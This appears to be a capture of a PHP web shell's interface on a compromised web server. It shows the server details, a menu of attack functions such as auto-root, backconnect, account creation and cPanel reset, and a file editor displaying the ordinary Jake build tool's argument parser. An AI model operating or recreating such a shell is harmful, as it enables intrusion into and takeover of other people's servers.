Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
jake /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
task
[ DIR ]
dr-xr-xr-x
utils
[ DIR ]
dr-xr-xr-x
api.js
11.93
KB
-rw-rw-rw-
jake.js
9.48
KB
-rw-rw-rw-
loader.js
4.32
KB
-rw-rw-rw-
namespace.js
2.4
KB
-rw-rw-rw-
package_task.js
10.75
KB
-rw-rw-rw-
parseargs.js
3.67
KB
-rw-rw-rw-
program.js
6.39
KB
-rw-rw-rw-
publish_task.js
8.87
KB
-rw-rw-rw-
rule.js
7.69
KB
-rw-rw-rw-
test_task.js
8.28
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : parseargs.js
/* * Jake JavaScript build tool * Copyright 2112 Matthew Eernisse (mde@fleegix.org) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ let parseargs = {}; let isOpt = function (arg) { return arg.indexOf('-') === 0; }; let removeOptPrefix = function (opt) { return opt.replace(/^--/, '').replace(/^-/, ''); }; /** * @constructor * Parses a list of command-line args into a key/value object of * options and an array of positional commands. * @ param {Array} opts A list of options in the following format: * [{full: 'foo', abbr: 'f'}, {full: 'bar', abbr: 'b'}]] */ parseargs.Parser = function (opts) { // A key/value object of matching options parsed out of the args this.opts = {}; this.taskNames = null; this.envVars = null; // Data structures used for parsing this.reg = opts; this.shortOpts = {}; this.longOpts = {}; let self = this; [].forEach.call(opts, function (item) { self.shortOpts[item.abbr] = item; self.longOpts[item.full] = item; }); }; parseargs.Parser.prototype = new function () { let _trueOrNextVal = function (argParts, args) { if (argParts[1]) { return argParts[1]; } else { return (!args[0] || isOpt(args[0])) ? true : args.shift(); } }; /** * Parses an array of arguments into options and positional commands * @param {Array} args The command-line args to parse */ this.parse = function (args) { let cmds = []; let cmd; let envVars = {}; let opts = {}; let arg; let argItem; let argParts; let cmdItems; let taskNames = []; let preempt; while (args.length) { arg = args.shift(); if (isOpt(arg)) { arg = removeOptPrefix(arg); argParts = arg.split('='); argItem = this.longOpts[argParts[0]] || this.shortOpts[argParts[0]]; if (argItem) { // First-encountered preemptive opt takes precedence -- no further opts // or possibility of ambiguity, so just look for a value, or set to // true and then bail if (argItem.preempts) { opts[argItem.full] = _trueOrNextVal(argParts, args); preempt = true; break; } // If the opt requires a value, see if we can get a value from the // next arg, or infer true from no-arg -- if it's followed by another // opt, throw an error if (argItem.expectValue || argItem.allowValue) { opts[argItem.full] = _trueOrNextVal(argParts, args); if (argItem.expectValue && !opts[argItem.full]) { throw new Error(argItem.full + ' option expects a value.'); } } else { opts[argItem.full] = true; } } } else { cmds.unshift(arg); } } if (!preempt) { // Parse out any env-vars and task-name while ((cmd = cmds.pop())) { cmdItems = cmd.split('='); if (cmdItems.length > 1) { envVars[cmdItems[0]] = cmdItems[1]; } else { taskNames.push(cmd); } } } return { opts: opts, envVars: envVars, taskNames: taskNames }; }; }; module.exports = parseargs;
Close